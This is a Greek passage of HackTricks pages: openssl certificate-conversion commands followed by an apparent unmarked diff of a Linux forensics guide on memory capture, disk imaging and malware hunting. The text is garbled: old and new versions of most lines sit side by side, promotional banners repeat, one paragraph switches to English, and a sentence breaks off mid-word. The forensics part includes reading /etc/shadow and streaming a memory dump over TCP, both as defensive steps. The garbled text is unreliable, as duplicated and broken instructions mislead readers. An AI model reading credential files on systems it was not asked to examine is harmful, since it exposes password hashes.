```bash
openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem
```
- **PEM σε DER**
Η μετατροπή από τη μορφή PEM στη μορφή DER μπορεί να γίνει με τη χρήση του εργαλείου `openssl`. Ακολουθήστε τα παρακάτω βήματα για να πραγματοποιήσετε τη μετατροπή:
1. Ανοίξτε ένα τερματικό και εκτελέστε την ακόλουθη εντολή:
```
openssl x509 -outform der -in certificate.pem -out certificate.der
```
Αντικαταστήστε το `certificate.pem` με το όνομα του αρχείου PEM που θέλετε να μετατρέψετε και το `certificate.der` με το όνομα που θέλετε να δώσετε στο νέο αρχείο DER.
2. Το εργαλείο `openssl` θα δημιουργήσει ένα νέο αρχείο με το όνομα που καθορίσατε, σε μορφή DER.
Με αυτόν τον τρόπο, μπορείτε να μετατρέψετε ένα αρχείο πιστοποιητικού από τη μορφή PEM στη μορφή DER.
* **Μετατροπή από PEM σε DER**
```bash
openssl x509 -outform der -in certificatename.pem -out certificatename.der
```
- **DER σε PEM**
Για να μετατρέψετε ένα πιστοποιητικό από τη μορφή DER σε μορφή PEM, μπορείτε να χρησιμοποιήσετε την εντολή `openssl`. Ακολουθήστε τα παρακάτω βήματα:
1. Ανοίξτε ένα τερματικό και εκτελέστε την εντολή:
```plaintext
openssl x509 -inform der -in certificate.der -out certificate.pem
```
Αντικαταστήστε το `certificate.der` με το όνομα του αρχείου DER πιστοποιητικού που θέλετε να μετατρέψετε και το `certificate.pem` με το όνομα που θέλετε να δώσετε στο νέο αρχείο PEM.
2. Το πιστοποιητικό σας τώρα έχει μετατραπεί από τη μορφή DER σε μορφή PEM και είναι έτοιμο για χρήση.
* **Μετατροπή από DER σε PEM**
```bash
openssl x509 -inform der -in certificatename.der -out certificatename.pem
```
- **Μετατροπή από PEM σε P7B**
Για να μετατρέψετε ένα αρχείο πιστοποιητικού στη μορφή PEM σε μορφή P7B, μπορείτε να χρησιμοποιήσετε την εντολή `openssl`. Ακολουθήστε τα παρακάτω βήματα:
1. Ανοίξτε ένα τερματικό και εκτελέστε την εντολή:
```
openssl crl2pkcs7 -nocrl -certfile certificate.pem -out certificate.p7b
```
Αντικαταστήστε το `certificate.pem` με το όνομα του αρχείου πιστοποιητικού που θέλετε να μετατρέψετε.
2. Το αρχείο P7B θα δημιουργηθεί στον ίδιο φάκελο με το αρχείο PEM.
Τώρα έχετε μετατρέψει με επιτυχία το αρχείο πιστοποιητικού από τη μορφή PEM στη μορφή P7B.
* **Μετατροπή από PEM σε P7B**
```bash
openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer
```
- **Μετατροπή PKCS7 σε PEM**
To convert a PKCS7 certificate to PEM format, you can use the following OpenSSL command:
```plaintext
openssl pkcs7 -print_certs -in certificate.p7b -out certificate.pem
```
This command will extract the certificates from the PKCS7 file and save them in PEM format. The resulting PEM file can then be used for various cryptographic operations.
* **Μετατροπή από PKCS7 σε PEM**
```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem
```
**Οι μετατροπές PFX** είναι κρίσιμες για τη διαχείριση πιστοποιητικών στα Windows:
- **PFX σε PEM**
* **PFX σε PEM**
```bash
openssl pkcs12 -in certificatename.pfx -out certificatename.pem
```
- **PFX σε PKCS#8** περιλαμβάνει δύο βήματα:
* **PFX σε PKCS#8** περιλαμβάνει δύο βήματα:
1. Μετατροπή PFX σε PEM
```bash
openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem
```
2. Μετατροπή από PEM σε PKCS8
Για να μετατρέψετε ένα αρχείο PEM σε μορφή PKCS8, μπορείτε να χρησιμοποιήσετε την εντολή `openssl` στο τερματικό. Ακολουθήστε τα παρακάτω βήματα:
1. Ανοίξτε ένα τερματικό και εκτελέστε την εντολή:
```
openssl pkcs8 -topk8 -inform PEM -outform DER -in private_key.pem -out private_key.pkcs8
```
Αντικαταστήστε το `private_key.pem` με το όνομα του αρχείου PEM που θέλετε να μετατρέψετε και το `private_key.pkcs8` με το όνομα που θέλετε να δώσετε στο νέο αρχείο PKCS8.
2. Θα σας ζητηθεί να εισαγάγετε τον κωδικό πρόσβασης του ιδιωτικού κλειδιού PEM.
3. Το νέο αρχείο PKCS8 θα δημιουργηθεί στον ίδιο φάκελο με το αρχικό αρχείο PEM.
Με αυτόν τον τρόπο, μπορείτε να μετατρέψετε ένα αρχείο PEM σε μορφή PKCS8 για περαιτέρω χρήση στις κρυπτογραφικές σας εργασίες.
```bash
openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
```
- **P7B σε PFX** απαιτεί επίσης δύο εντολές:
1. Μετατροπή P7B σε CER
* **Από P7B σε PFX** απαιτεί επίσης δύο εντολές:
1. Μετατροπή από P7B σε CER
```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
```
2. Μετατροπή CER και Ιδιωτικού Κλειδιού σε PFX
Για να μετατρέψετε ένα αρχείο CER και το αντίστοιχο ιδιωτικό κλειδί σε μορφή PFX, μπορείτε να χρησιμοποιήσετε το εργαλείο OpenSSL. Ακολουθήστε τα παρακάτω βήματα:
1. Ανοίξτε ένα τερματικό παράθυρο και μεταβείτε στον φάκελο όπου βρίσκονται τα αρχεία CER και ιδιωτικού κλειδιού.
2. Εκτελέστε την παρακάτω εντολή για να δημιουργήσετε ένα αρχείο PFX:
```plaintext
openssl pkcs12 -export -out certificate.pfx -inkey private.key -in certificate.cer
```
Σημείωση: Αντικαταστήστε τα `private.key` και `certificate.cer` με τα ονόματα των αρχείων που έχετε.
3. Θα σας ζητηθεί να εισαγάγετε έναν κωδικό πρόσβασης για το αρχείο PFX. Εισαγάγετε τον επιθυμητό κωδικό πρόσβασης και πατήστε Enter.
4. Το αρχείο PFX με το πιστοποιητικό και το ιδιωτικό κλειδί θα δημιουργηθεί στον ίδιο φάκελο όπου εκτελέσατε την εντολή.
Μετά την ολοκλήρωση αυτών των βημάτων, θα έχετε μετατρέψει με επιτυχία το αρχείο CER και το ιδιωτικό κλειδί σε μορφή PFX.
2. Μετατροπή αρχείου CER και Ιδιωτικού Κλειδιού σε PFX
```bash
openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer
```
***
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε και να αυτοματοποιήσετε εργασιακές διαδικασίες με τα πιο προηγμένα εργαλεία της κοινότητας.\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF, ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο github.
</details>

View file

@ -1,24 +1,24 @@
# Ανάλυση Linux
# Ανάλυση Ψηφιακών Στοιχείων σε Linux
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε και να αυτοματοποιήσετε ροές εργασίας με τα πιο προηγμένα εργαλεία της κοινότητας.\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF, ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF, ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) στο GitHub.
</details>
@ -26,12 +26,12 @@
### Βασικές Πληροφορίες
Καταρχήν, συνιστάται να έχετε ένα **USB** με **γνωστά καλά δυαδικά αρχεία και βιβλιοθήκες** (μπορείτε απλά να πάρετε το ubuntu και να αντιγράψετε τους φακέλους _/bin_, _/sbin_, _/lib_ και _/lib64_), στη συνέχεια να προσαρτήσετε το USB και να τροποποιήσετε τις μεταβλητές περιβάλλοντος για να χρησιμοποιήσετε αυτά τα δυαδικά αρχεία:
Καταρχάς, συνιστάται να έχετε ένα **USB** με **καλά γνωστά δυαδικά και βιβλιοθήκες** (μπορείτε απλά να πάρετε το Ubuntu και να αντιγράψετε τους φακέλους _/bin_, _/sbin_, _/lib_ και _/lib64_), στη συνέχεια να τοποθετήσετε το USB και να τροποποιήσετε τις μεταβλητές περιβάλλοντος για να χρησιμοποιήσετε αυτά τα δυαδικά:
```bash
export PATH=/mnt/usb/bin:/mnt/usb/sbin
export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64
```
Αφού έχετε ρυθμίσει το σύστημα να χρησιμοποιεί καλά και γνωστά δυαδικά αρχεία, μπορείτε να ξεκινήσετε την **εξαγωγή ορισμένων βασικών πληροφοριών**:
Αφού έχετε ρυθμίσει το σύστημα να χρησιμοποιεί καλά και γνωστά δυαδικά αρχεία, μπορείτε να ξεκινήσετε την **εξαγωγή κάποιων βασικών πληροφοριών**:
```bash
date #Date and time (Clock may be skewed, Might be at a different timezone)
uname -a #OS info
@ -49,47 +49,43 @@ cat /etc/passwd #Unexpected data?
cat /etc/shadow #Unexpected data?
find /directory -type f -mtime -1 -print #Find modified files during the last minute in the directory
```
#### Υποψίασμα για ύποπτες πληροφορίες
#### Υπούλες πληροφορίες
Κατά την απόκτηση των βασικών πληροφοριών, θα πρέπει να ελέγξετε για παράξενα πράγματα όπως:
Κατά την απόκτηση των βασικών πληροφοριών, πρέπει να ελέγξετε για περίεργα πράγματα όπως:
* Οι **διεργασίες root** συνήθως εκτελούνται με χαμηλά PIDS, οπότε αν βρείτε μια διεργασία root με ένα μεγάλο PID μπορεί να υπάρχει υποψία
* **Διεργασίες ρίζας** συνήθως τρέχουν με χαμηλά PIDS, οπότε αν βρείτε μια διεργασία ρίζας με ένα μεγάλο PID μπορείτε να υποψιαστείτε
* Ελέγξτε τις **εγγεγραμμένες συνδέσεις** χρηστών χωρίς κέλυφος μέσα στο `/etc/passwd`
* Ελέγξτε για **κατακερματισμένους κωδικούς πρόσβασης** μέσα στο `/etc/shadow` για χρήστες χωρίς κέλυφος
* Ελέγξτε τις **κατακερματισμένες κωδικοποιήσεις** μέσα στο `/etc/shadow` για χρήστες χωρίς κέλυφος
### Αντιγραφή μνήμης
### Ανάκτηση Αναμνηστικού
Για να αποκτήσετε τη μνήμη του εκτελούμενου συστήματος, συνίσταται να χρησιμοποιήσετε το [**LiME**](https://github.com/504ensicsLabs/LiME).\
Για να το **μεταγλωττίσετε**, πρέπει να χρησιμοποιήσετε το **ίδιο πυρήνα** που χρησιμοποιεί η μηχανή θύμα.
Για να αποκτήσετε τη μνήμη του λειτουργικού συστήματος που τρέχει, συνιστάται να χρησιμοποιήσετε το [**LiME**](https://github.com/504ensicsLabs/LiME).\
Για να το **μεταγλωτίσετε**, πρέπει να χρησιμοποιήσετε το **ίδιο πυρήνα** που χρησιμοποιεί η μηχανή θύματος.
{% hint style="info" %}
Θυμηθείτε ότι **δεν μπορείτε να εγκαταστήσετε το LiME ή οτιδήποτε άλλο** στη μηχανή θύμα, καθώς θα προκαλέσει αλλαγές σε αυτήν.
Να θυμάστε ότι **δεν μπορείτε να εγκαταστήσετε το LiME ή οτιδήποτε άλλο** στη μηχανή θύματος καθώς θα προκαλέσει πολλές αλλαγές σε αυτήν
{% endhint %}
Έτσι, αν έχετε μια πανομοιότυπη έκδοση του Ubuntu, μπορείτε να χρησιμοποιήσετε την εντολή `apt-get install lime-forensics-dkms`\
Σε άλλες περιπτώσεις, πρέπει να κατεβάσετε το [**LiME**](https://github.com/504ensicsLabs/LiME) από το github και να το μεταγλωττίσετε με τις σωστές κεφαλίδες του πυρήνα. Για να **αποκτήσετε τις ακριβείς κεφαλίδες του πυρήνα** της μηχανής θύματος, απλά **αντιγράψτε τον φάκελο** `/lib/modules/<έκδοση πυρήνα>` στη μηχανή σας και στη συνέχεια **μεταγλωττίστε** το LiME χρησιμοποιώντας αυτές.
Έτσι, αν έχετε μια ταυτόσημη έκδοση του Ubuntu μπορείτε να χρησιμοποιήσετε `apt-get install lime-forensics-dkms`\
Σε άλλες περιπτώσεις, πρέπει να κατεβάσετε το [**LiME**](https://github.com/504ensicsLabs/LiME) από το github και να το μεταγλωτίσετε με τις σωστές κεφαλίδες πυρήνα. Για να **ανακτήσετε τις ακριβείς κεφαλίδες πυρήνα** της μηχανής θύματος, μπορείτε απλά να **αντιγράψετε τον κατάλογο** `/lib/modules/<έκδοση πυρήνα>` στη μηχανή σας, και στη συνέχεια να **μεταγλωτίσετε** το LiME χρησιμοποιώντας αυτές.
```bash
make -C /lib/modules/<kernel version>/build M=$PWD
sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime"
```
Το LiME υποστηρίζει 3 **μορφές**:
* Raw (κάθε τμήμα ενωμένο μαζί)
* Raw (κάθε τμήμα συνενωμένο μαζί)
* Padded (ίδιο με το raw, αλλά με μηδενικά στα δεξιά bits)
* Lime (συνιστώμενη μορφή με μεταδεδομένα)
Το LiME μπορεί επίσης να χρησιμοποιηθεί για να **στείλει το dump μέσω δικτύου** αντί να το αποθηκεύσει στο σύστημα χρησιμοποιώντας κάτι όπως: `path=tcp:4444`
Το LiME μπορεί επίσης να χρησιμοποιηθεί για να **στείλει την αντιγραφή μέσω δικτύου** αντί να την αποθηκεύσει στο σύστημα χρησιμοποιώντας κάτι σαν: `path=tcp:4444`
### Δημιουργία εικόνας δίσκου
#### Απενεργοποίηση
Καταρχάς, θα πρέπει να **απενεργοποιήσετε το σύστημα**. Αυτό δεν είναι πάντα μια επιλογή, καθώς μερικές φορές το σύστημα θα είναι ένας παραγωγικός διακομιστής που η εταιρεία δεν μπορεί να τον απενεργοποιήσει.\
Υπάρχουν **2 τρόποι** απενεργοποίησης του συστήματος, μια **κανονική απενεργοποίηση** και μια **απενεργοποίηση "τραβώντας το φις"**. Ο πρώτος θα επιτρέψει στις **διεργασίες να τερματίσουν κανονικά** και το **σύστημα αρχείων** να **συγχρονιστεί**, αλλά θα επιτρέψει επίσης στον πιθανό **κακόβουλο κώδικα** να **καταστρέψει τα αποδεικτικά στοιχεία**. Η προσέγγιση "τραβώντας το φις" μπορεί να οδηγήσει σε **απώλεια ορισμένων πληροφοριών** (δεν θα χαθεί πολλή πληροφορία καθώς ήδη πήραμε μια εικόνα της μνήμης) και ο **κακόβουλος κώδικας δεν θα έχει καμία ευκαιρία** να κάνει κάτι γι' αυτό. Επομένως, αν **υποψιάζεστε** ότι μπορεί να υπάρχει **κακόβουλος κώδικας**, απλά εκτελέστε την εντολή **`sync`** στο σύστημα και τραβήξτε το φις.
#### Δημιουργία εικόνας του δίσκου
Είναι σημαντικό να σημειώσουμε ότι **πριν συνδέσετε τον υπολογιστή σας με οτιδήποτε σχετίζεται με την υπόθεση**, πρέπει να είστε σίγουροι ότι θα γίνει **προσάρτηση με ανάγνωση μόνο** για να αποφευχθεί οποιαδήποτε τροποποίηση πληροφοριών.
Καταρχάς, θα πρέπει να **απενεργοποιήσετε το σύστημα**. Αυτό δεν είναι πάντα μια επιλογή καθώς μερικές φορές το σύστημα θα είναι ένας παραγωγικός διακομιστής που η εταιρεία δεν μπορεί να επιτρέψει να απενεργοποιηθεί.\
Υπάρχουν **2 τρόποι** απενεργοποίησης του συστήματος, μια **κανονική απενεργοποίηση** και μια **απενεργοποίηση "τραβώντας το φις"**. Η πρώτη θα επιτρέψει στις **διεργασίες να τερματιστούν όπως συνήθως** και το **σύστημα αρχείων** να **συγχρονιστεί**, αλλά θα επιτρέψει επίσης στο πιθανό **κακόβουλο λογισμικό** να **καταστρέψει αποδεικτικά στοιχεία**. Η προσέγγιση "τραβώντας το φις" μπορεί να έχει **κάποια απώλεια πληροφορι
```bash
#Create a raw copy of the disk
dd if=<subject device> of=<image file> bs=512
@ -98,7 +94,7 @@ dd if=<subject device> of=<image file> bs=512
dcfldd if=<subject device> of=<image file> bs=512 hash=<algorithm> hashwindow=<chunk size> hashlog=<hash file>
dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes
```
### Προ-ανάλυση εικόνας δίσκου
### Προανάλυση εικόνας δίσκου
Δημιουργία εικόνας δίσκου χωρίς περισσότερα δεδομένα.
```bash
@ -153,26 +149,26 @@ r/r 16: secret.txt
icat -i raw -f ext4 disk.img 16
ThisisTheMasterSecret
```
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε και να αυτοματοποιήσετε εργασιακές διαδικασίες με τα πιο προηγμένα εργαλεία της κοινότητας.\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Αναζήτηση για γνωστό κακόβουλο λογισμικό
## Αναζήτηση γνωστού Malware
### Τροποποιημένα αρχεία συστήματος
### Τροποποιημένα Αρχεία Συστήματος
Το Linux προσφέρει εργαλεία για τη διασφάλιση της ακεραιότητας των συστατικών του συστήματος, το οποίο είναι κρίσιμο για τον εντοπισμό πιθανών προβληματικών αρχείων.
Το Linux προσφέρει εργαλεία για τη διασφάλιση της ακεραιότητας των συστατικών του συστήματος, τα οποία είναι κρίσιμα για τον εντοπισμό ενδεχόμενων προβληματικών αρχείων.
- **Συστήματα βασισμένα σε RedHat**: Χρησιμοποιήστε την εντολή `rpm -Va` για μια συνολική έλεγχο.
- **Συστήματα βασισμένα σε Debian**: Χρησιμοποιήστε την εντολή `dpkg --verify` για αρχικό έλεγχο, ακολουθούμενη από την εντολή `debsums | grep -v "OK$"` (μετά την εγκατάσταση του `debsums` με την εντολή `apt-get install debsums`) για τον εντοπισμό οποιουδήποτε προβλήματος.
* **Συστήματα βασισμένα σε RedHat**: Χρησιμοποιήστε την εντολή `rpm -Va` για μια συνολική έλεγχο.
* **Συστήματα βασισμένα σε Debian**: Χρησιμοποιήστε `dpkg --verify` για αρχικό έλεγχο, ακολουθούμενο από `debsums | grep -v "OK$"` (μετά την εγκατάσταση του `debsums` με `apt-get install debsums`) για την εντοπισμό οποιωνδήποτε προβλημάτων.
### Εργαλεία ανίχνευσης κακόβουλου λογισμικού/Rootkit
### Ανιχνευτές Malware/Rootkit
Διαβάστε την παρακάτω σελίδα για να μάθετε για εργαλεία που μπορούν να είναι χρήσιμα για τον εντοπισμό κακόβουλου λογισμικού:
Διαβάστε την παρακάτω σελίδα για να μάθετε για εργαλεία που μπορεί να είναι χρήσιμα για τον εντοπισμό malware:
{% content-ref url="malware-analysis.md" %}
[malware-analysis.md](malware-analysis.md)
@ -180,13 +176,12 @@ ThisisTheMasterSecret
## Αναζήτηση εγκατεστημένων προγραμμάτων
Για να αναζητήσετε αποτελεσματικά εγκατεστημένα προγράμματα τόσο σε συστήματα Debian όσο και σε συστήματα RedHat, εξετάστε τα αρχεία καταγραφής και τις βάσεις δεδομένων του συστήματος, σε συνδυασμό με χειροκίνητους ελέγχους σε κοινά καταλόγους.
Για να αναζητήσετε αποτελεσματικά εγκατεστημένα προγράμματα τόσο σε συστήματα Debian όσο και RedHat, σκεφτείτε να εκμεταλλευτείτε τα αρχεία καταγραφής συστήματος και τις βάσεις δεδομένων σε συνδυασμό με χειροκίνητους ελέγχους σε κοινά κατάλογους.
- Για το Debian, εξετάστε τα αρχεία **_`/var/lib/dpkg/status`_** και **_`/var/log/dpkg.log`_** για να λάβετε λεπτομέρειες σχετικά με τις εγκαταστάσεις πακέτων, χρησιμοποιώντας την εντολή `grep` για να φιλτράρετε συγκεκριμένες πληροφορίες.
* Για το Debian, ελέγξτε τα _**`/var/lib/dpkg/status`**_ και _**`/var/log/dpkg.log`**_ για λεπτομέρειες σχετικά με τις εγκαταστάσεις πακέτων, χρησιμοποιώντας το `grep` για να φιλτράρετε συγκεκριμένες πληροφορίες.
* Οι χρήστες RedHat μπορούν να ερευνήσουν τη βάση δεδομένων RPM με την εντολή `rpm -qa --root=/mntpath/var/lib/rpm` για να καταχωρίσουν τα εγκατεστημένα πακέτα.
- Οι χρήστες του RedHat μπορούν να ερωτήσουν τη βάση δεδομένων RPM με την εντολή `rpm -qa --root=/mntpath/var/lib/rpm` για να εμφανίσουν τα εγκατεστημένα πακέτα.
Για να ανακαλύψετε λογισμικό που έχει εγκατασταθεί χειροκίνητα ή εκτός αυτών των διαχειριστών πακέτων, εξερευνήστε καταλόγους όπως **_`/usr/local`_**, **_`/opt`_**, **_`/usr/sbin`_**, **_`/usr/bin`_**, **_`/bin`_**, και **_`/sbin`_**. Συνδυάστε τη λίστα των καταλόγων με εντολές που είναι συγκεκριμένες για το σύστημα για να εντοπίσετε εκτελέσιμα που δεν σχετίζονται με γνωστά πακέτα, βελτιώνοντας έτσι την αναζήτησή σας για όλα τα εγκατεστημένα προγράμματα.
Για να ανακαλύψετε λογισμικό που έχει εγκατασταθεί χειροκίνητα ή εκτός αυτών των διαχειριστών πακέτων, εξετάστε καταλόγους όπως _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_ και _**`/sbin`**_. Συνδυάστε τις λίστες καταλόγων με εντολές που είναι συγκεκριμένες για το σύστημα για να εντοπίσετε εκτελέσιμα που δεν σχετίζονται με γνωστά πακέτα, βελτιώνοντας έτσι την αναζήτησή σας για όλα τα εγκατεστημένα προγράμματα.
```bash
# Debian package and log details
cat /var/lib/dpkg/status | grep -E "Package:|Status:"
@ -202,23 +197,23 @@ find /sbin/ exec rpm -qf {} \; | grep "is not"
# Find exacuable files
find / -type f -executable | grep <something>
```
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε και να αυτοματοποιήσετε εύκολα ροές εργασίας με τα πιο προηγμένα εργαλεία της κοινότητας.\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της παγκόσμιας κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Ανάκτηση Διαγραμμένων Εκτελέσιμων Αρχείων
## Ανάκτηση Διαγραμμένων Εκτελούμενων Αρχείων
Φανταστείτε ένα διεργασία που εκτελέστηκε από το /tmp/exec και διαγράφηκε. Είναι δυνατή η εξαγωγή του
Φανταστείτε ένα διεργασία που εκτελέστηκε από το /tmp/exec και διαγράφηκε. Είναι δυνατόν να το εξάγετε
```bash
cd /proc/3746/ #PID with the exec file deleted
head -1 maps #Get address of the file. It was 08048000-08049000
dd if=mem bs=1 skip=08048000 count=1000 of=/tmp/exec2 #Recorver it
```
## Επιθεώρηση τοποθεσιών αυτόματης εκκίνησης
## Επιθεώρηση τοποθεσιών εκκίνησης αυτόματης εκκίνησης
### Προγραμματισμένες εργασίες
```bash
@ -236,82 +231,83 @@ ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Libra
```
### Υπηρεσίες
Διαδρομές όπου μπορεί να εγκατασταθεί κακόβουλο λογισμικό ως υπηρεσία:
Διαδρομές όπου μπορεί να εγκατασταθεί malware ως υπηρεσία:
- **/etc/inittab**: Καλεί σενάρια αρχικοποίησης όπως το rc.sysinit, καθοδηγώντας περαιτέρω σε σενάρια εκκίνησης.
